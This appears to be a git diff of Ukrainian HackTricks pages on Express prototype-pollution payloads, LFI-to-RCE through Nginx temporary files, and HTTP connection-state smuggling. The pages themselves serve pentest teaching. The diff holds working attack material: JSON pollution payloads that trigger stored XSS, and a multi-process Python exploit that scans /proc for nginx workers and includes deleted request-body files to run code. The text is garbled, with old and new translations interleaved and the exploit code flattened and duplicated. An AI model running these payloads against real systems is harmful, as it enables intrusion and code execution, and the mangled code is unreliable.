* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Надавати відповіді XSS
### [WhiteIntel](https://whiteintel.io)
**Для отримання додаткових відомостей [перегляньте оригінальне дослідження](https://portswigger.net/research/server-side-prototype-pollution)**
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
### Змінити тип вмісту JSON на HTML
[**WhiteIntel**](https://whiteintel.io) - це **пошукова система** на основі **темного вебу**, яка пропонує **безкоштовні** функції для перевірки, чи була компанія або її клієнти **скомпрометовані** **шкідливими програмами**.
У додатку Express, який використовує **тип відповіді JSON** та відображає JSON:
Основна мета WhiteIntel - боротися з захопленням облікових записів та атаками програм-вимагачів, що виникають внаслідок шкідливих програм, які крадуть інформацію.
Ви можете перевірити їхній вебсайт і спробувати їхній двигун **безкоштовно** за адресою:
{% embed url="https://whiteintel.io" %}
***
## Serve XSS responses
**Для отримання додаткової інформації** [**ознайомтеся з оригінальним дослідженням**](https://portswigger.net/research/server-side-prototype-pollution)
### Change JSON content-type to HTML
В додатку Express, що використовує **JSON content type response** і відображає JSON:
```javascript
app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
@ -28,41 +43,41 @@ _.merge({}, req.body);
res.send(req.body);
});
```
У цих випадках XSS зазвичай неможливий з JSON типом вмісту. Однак за допомогою забруднення прототипу ми можемо **переплутати Express, щоб він відправив відповідь у форматі HTML.** Ця уразливість ґрунтується на тому, що додаток використовує **`res.send(obj)`** та використовує розбірник тіла з типом вмісту application/json.
У цих випадках XSS зазвичай неможливий з типом вмісту JSON. Однак, з забрудненням прототипу ми можемо **заплутати Express, щоб він повертав HTML-відповідь.** Ця вразливість залежить від використання додатком **`res.send(obj)`** та використання парсера тіла з типом вмісту application/json.
```json
{"__proto__":{"_body":true,"body":"<script>evil()"}}
```
Забруднюючи властивості **`body`** та **`_body`**, можна змусити **Express обслуговувати вміст HTML** та відображати властивість `_body`, що призводить до збереженого XSS.
Шляхом **забруднення** **`body`** та **`_body`** властивостей, можливо змусити **Express віддавати HTML тип контенту** та відображати властивість `_body`, що призводить до збереженого XSS.
### Відображення UTF7
Можливо зробити express **відображати вміст UTF-7 за допомогою**:
Можливо змусити express **відображати UTF-7 контент з**:
```json
{"__proto__":{"content-type": "application/json; charset=utf-7"}}
```
## Безпечні техніки сканування
### Простори JSON
### JSON пробіли
Наступний PP дозволить атрибутам всередині JSON мати додатковий пробіл, який не порушить функціональність:
Наступний PP зробить атрибути всередині JSON з додатковим пробілом, що не зламає функціональність:
```json
{"__proto__":{"json spaces": " "}}
```
Потім відображений JSON буде виглядати так:
Тоді відображений JSON виглядатиме так:
```json
{"foo": "bar"} -- Note the extra space
```
### Відкриті заголовки
### Exposed Headers
Наступний гаджет PP змусить сервер відправити HTTP-заголовок: **`Access-Control-Expose_headers: foo`**
Наступний PP гаджет змусить сервер надіслати HTTP заголовок: **`Access-Control-Expose_headers: foo`**
```json
{"__proto__":{"exposedHeaders":["foo"]}}
```
Необхідно встановити модуль **CORS**
Це вимагає, щоб **модуль CORS був встановлений**
### **Метод OPTIONS**
З наступним навантаженням можливо **приховати метод від відповіді OPTIONS**:
З наступним payload можливо **сховати метод з відповіді OPTIONS**:
```javascript
// Original reponse: POST,GET,HEAD
@ -73,53 +88,66 @@ res.send(req.body);
```
### **Статус**
Можливо змінити **повернутий код статусу** за допомогою наступного PP вразливості:
Можливо змінити **код статусу, що повертається** за допомогою наступного PP payload:
```json
{"__proto__":{"status":510}}
```
### Помилка
Коли ви призначаєте прототип з примітивом, таким як рядок, це призводить до **операції no-op, оскільки прототип повинен бути об'єктом**. Якщо ви намагаєтеся призначити об'єкт прототипу для `Object.prototype` самостійно, це призведе до **винятку**. Ми можемо використовувати ці дві поведінки для **виявлення успішності забруднення прототипу**:
Коли ви призначаєте прототипу примітив, наприклад, рядок, це призводить до **операції без дії, оскільки прототип має бути об'єктом**. Якщо ви намагаєтеся призначити об'єкт прототипу самому `Object.prototype`, це **викине виключення**. Ми можемо використовувати ці дві поведінки, щоб **виявити, чи була успішною забрудненість прототипу**:
```javascript
({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception
```
### Відображене значення
Коли додаток включає об'єкт у відповідь, створення атрибуту з **незвичайною назвою поряд з `__proto__`** може бути показовим. Зокрема, якщо **у відповіді повертається лише незвичайний атрибут**, це може свідчити про вразливість додатка:
Коли додаток включає об'єкт у свою відповідь, створення атрибута з **незвичайною назвою поряд з `__proto__`** може бути корисним. Зокрема, якщо **лише незвичайний атрибут повертається** у відповіді, це може вказувати на вразливість додатку:
```json
{"unusualName":"value","__proto__":"test"}
```
Крім того, в сценаріях, де використовується бібліотека, така як Lodash, встановлення властивості як через забруднення прототипу (PP), так і безпосередньо всередині об'єкта, пропонує ще один діагностичний підхід. Якщо така властивість відсутня у відповіді, це свідчить про те, що Lodash перевіряє наявність властивості в цільовому об'єкті перед злиттям:
Крім того, у сценаріях, де використовується бібліотека, така як Lodash, встановлення властивості як через забруднення прототипу (PP), так і безпосередньо в об'єкті пропонує ще один діагностичний підхід. Якщо така властивість відсутня у відповіді, це свідчить про те, що Lodash перевіряє наявність властивості в цільовому об'єкті перед злиттям:
```javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
```
## Різне
## Misc
### Дозвіл крапок
### Дозволити крапки
Є опція в Express, яка дозволяє **створювати об'єкти з параметрів рядка запиту**.\
Ви звичайно можете використати це в ланцюжку помилок для експлуатації **вразливості забруднення прототипу**.
Є опція в Express, яка дозволяє вам **створювати об'єкти з параметрів рядка запиту**.\
Ви безумовно можете використовувати це в ланцюжку **помилок** для експлуатації **вразливості забруднення прототипу**.
```json
{"__proto__":{"allowDots":true}}
```
**`?foo.bar=baz` створює об'єкт в Node.**
**`?foo.bar=baz` створює об'єкт у Node.**
## Посилання
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) — це **пошукова система** на основі **темного вебу**, яка пропонує **безкоштовні** функції для перевірки, чи була компанія або її клієнти **скомпрометовані** **шкідливими програмами-крадіями**.
Основна мета WhiteIntel — боротися з захопленням облікових записів та атаками програм-вимагачів, що виникають внаслідок шкідливих програм, що крадуть інформацію.
Ви можете перевірити їхній вебсайт і спробувати їхній двигун **безкоштовно** за адресою:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Вчіться та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# LFI2RCE через временні файли Nginx
# LFI2RCE через тимчасові файли Nginx
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) - це пошуковик, який працює на **темному вебі** і пропонує **безкоштовні** функціональні можливості для перевірки того, чи були **компанія або її клієнти скомпрометовані** **шкідливими програмами-крадіями**.
[**WhiteIntel**](https://whiteintel.io) — це **пошукова система** на основі **темного вебу**, яка пропонує **безкоштовні** функції для перевірки, чи була компанія або її клієнти **компрометовані** **шкідливими програмами** для крадіжки даних.
Основною метою WhiteIntel є боротьба з захопленням облікових записів та атаками вимагання викупу, що виникають внаслідок шкідливих програм, які викрадають інформацію.
Основна мета WhiteIntel — боротися з захопленнями облікових записів та атаками програм-вимагачів, що виникають внаслідок шкідливих програм для крадіжки інформації.
Ви можете перевірити їх веб-сайт та спробувати їхній двигун **безкоштовно** за посиланням:
Ви можете перевірити їхній вебсайт і спробувати їхній двигун **безкоштовно** за адресою:
{% embed url="https://whiteintel.io" %}
@ -32,30 +33,30 @@
[**Приклад з https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
* Код PHP:
* PHP код:
\`\`\`\`h\`
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Примітка: У цьому прикладі не можна безпосередньо включити \`/proc/34/fd/15\`, оскільки функція \`include\` PHP розгорне шлях до \`/var/lib/nginx/body/0000001368 (deleted)\`, який не існує в файловій системі. Це невелике обмеження можна обійти за допомогою деякої індирекції, наприклад: \`/proc/self/fd/34/../../../34/fd/15\`, що нарешті виконає вміст видаленого файлу \`/var/lib/nginx/body/0000001368\`. ## Повна експлуатація \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'```
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Примітка: Нельзя безпосередньо включити \`/proc/34/fd/15\` в цьому прикладі, оскільки функція \`include\` PHP перетворить шлях на \`/var/lib/nginx/body/0000001368 (deleted)\`, який не існує в файловій системі. Цю незначну обмеження, на щастя, можна обійти за допомогою деякої непрямої адресації, наприклад: \`/proc/self/fd/34/../../../34/fd/15\`, що врешті-решт виконає вміст видаленого файлу \`/var/lib/nginx/body/0000001368\`. ## Повний експлойт \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # експлуатація локального включення файлів PHP (LFI) через допомогу буферизації тіла клієнта nginx # дивіться https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ для деталей URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # знайти робочі процеси nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] знайдено робочий процес nginx: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # завантажити великий тіла клієнта, щоб змусити nginx створити /var/lib/nginx/body/$X def uploader(): print('\[+] початок завантаження') while not done: requests.get(URL, data=' //'
```
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
```
```html
def send_payload_worker(requests_session): while True: send_payload(requests_session)
```python
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
def send_payload_multiprocess(requests_session): # Використовуйте всі ЦП для відправлення навантаження як тіло запиту для Nginx for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()
def send\_payload\_multiprocess(requests\_session): # Використовуйте всі ЦП для відправки payload як тіло запиту для Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
def generate_random_path_prefix(nginx_pids): # Цей метод створює шлях з випадковою кількістю компонентів шляху ProcFS. Згенерований шлях буде виглядати як /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
def generate\_random\_path\_prefix(nginx\_pids): # Цей метод створює шлях з випадкової кількості компонентів шляху ProcFS. Згенерований шлях виглядатиме як /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # Флаги форматуються як hxp{} if "hxp" in d: print("Знайдено прапорець! ") print(d)
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Прапори формуються як hxp{} if "hxp" in d: print("Знайдено прапор! ") print(d)
def read_file_worker(requests_session, nginx_pid, nginx_pids): # Сканування файлових дескрипторів Nginx між 10 та 45 в циклі. Оскільки файли та сокети постійно закриваються, дуже поширено, що файловий дескриптор запиту відкривається в цьому діапазоні for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Скануйте FD Nginx між 10 - 45 в циклі. Оскільки файли та сокети постійно закриваються - це дуже поширено, що FD тіла запиту відкривається в цьому діапазоні for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start()
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
if __name__ == "main": print('[DEBUG] Створення сеансу запитів') requests_session = create_requests_session() print('[DEBUG] Отримання ідентифікаторів Nginx') nginx_pids = get_nginx_pids(requests_session) print(f'[DEBUG] Ідентифікатори Nginx: {nginx_pids}') print('[DEBUG] Початок відправлення навантаження') send_payload_multiprocess(requests_session) print('[DEBUG] Початок читання файлових дескрипторів') read_file_multiprocess(requests_session, nginx_pids)
if **name** == "**main**": print('\[DEBUG] Створення сесії запитів') requests\_session = create\_requests\_session() print('\[DEBUG] Отримання pids Nginx') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Pids Nginx: {nginx\_pids}') print('\[DEBUG] Початок відправки payload') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Початок читачів fd') read\_file\_multiprocess(requests\_session, nginx\_pids)
```
```

View file

@ -1,24 +1,27 @@
# HTTP Запит на Змову Підключення
# HTTP Connection Request Smuggling
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити, як ваша **компанія рекламується на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Це краткий огляд публікації** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
**Це резюме посту** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
## Атаки на Стан Підключення <a href="#state" id="state"></a>
## Атаки на стан з'єднання <a href="#state" id="state"></a>
### Перевірка Першого Запиту
### Валідація першого запиту
При маршрутизації запитів обернені проксі можуть залежати від **заголовка Host**, щоб визначити призначений сервер зворотного кінця, часто покладаючись на білий список хостів, які мають дозвіл на доступ. Однак існує уразливість у деяких проксі, де білий список застосовується лише до початкового запиту в з'єднанні. Внаслідок цього зловмисники можуть використовувати це, спочатку зробивши запит на дозволений хост, а потім запитуючи внутрішній сайт через те ж саме з'єднання:
При маршрутизації запитів зворотні проксі можуть покладатися на **заголовок Host**, щоб визначити сервер призначення, часто спираючись на білий список хостів, яким дозволено доступ. Однак у деяких проксі існує вразливість, де білий список застосовується лише до початкового запиту в з'єднанні. Внаслідок цього зловмисники можуть скористатися цим, спочатку зробивши запит до дозволеного хоста, а потім запитуючи внутрішній сайт через те ж з'єднання:
```
GET / HTTP/1.1
Host: [allowed-external-host]
@ -26,9 +29,9 @@ Host: [allowed-external-host]
GET / HTTP/1.1
Host: [internal-host]
```
### Пересилання першого запиту
### First-request Routing
У деяких конфігураціях фронтенд-сервер може використовувати **заголовок Host першого запиту**, щоб визначити маршрутизацію на бекенд для цього запиту, а потім постійно маршрутизувати всі наступні запити з того ж клієнтського з'єднання до того ж бекенду. Це можна продемонструвати так:
В деяких конфігураціях, фронтальний сервер може використовувати **заголовок Host першого запиту** для визначення маршрутизації на бекенді для цього запиту, а потім постійно маршрутизувати всі наступні запити з того ж клієнтського з'єднання до того ж бекенд-з'єднання. Це можна продемонструвати так:
```
GET / HTTP/1.1
Host: example.com
@ -36,20 +39,23 @@ Host: example.com
POST /pwreset HTTP/1.1
Host: psres.net
```
Ця проблема потенційно може бути поєднана з [атаками на заголовок хоста](https://portswigger.net/web-security/host-header), такими як отруєння скидання пароля або [отруєння веб-кешу](https://portswigger.net/web-security/web-cache-poisoning), для експлуатації інших вразливостей або отримання несанкціонованого доступу до додаткових віртуальних хостів.
Цю проблему можна потенційно поєднати з [атаками заголовка Host](https://portswigger.net/web-security/host-header), такими як отруєння скидання пароля або [отруєння веб-кешу](https://portswigger.net/web-security/web-cache-poisoning), щоб експлуатувати інші вразливості або отримати несанкціонований доступ до додаткових віртуальних хостів.
{% hint style="info" %}
Для виявлення цих вразливостей можна використовувати функцію 'connection-state probe' в HTTP Request Smuggler.
Щоб виявити ці вразливості, можна використовувати функцію 'connection-state probe' в HTTP Request Smuggler.
{% endhint %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
* Ви працюєте в **кібербезпецівій компанії**? Хочете побачити вашу **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,48 +1,65 @@
# EL - Мова виразів
# EL - Expression Language
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити вашу **компанію рекламовану на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
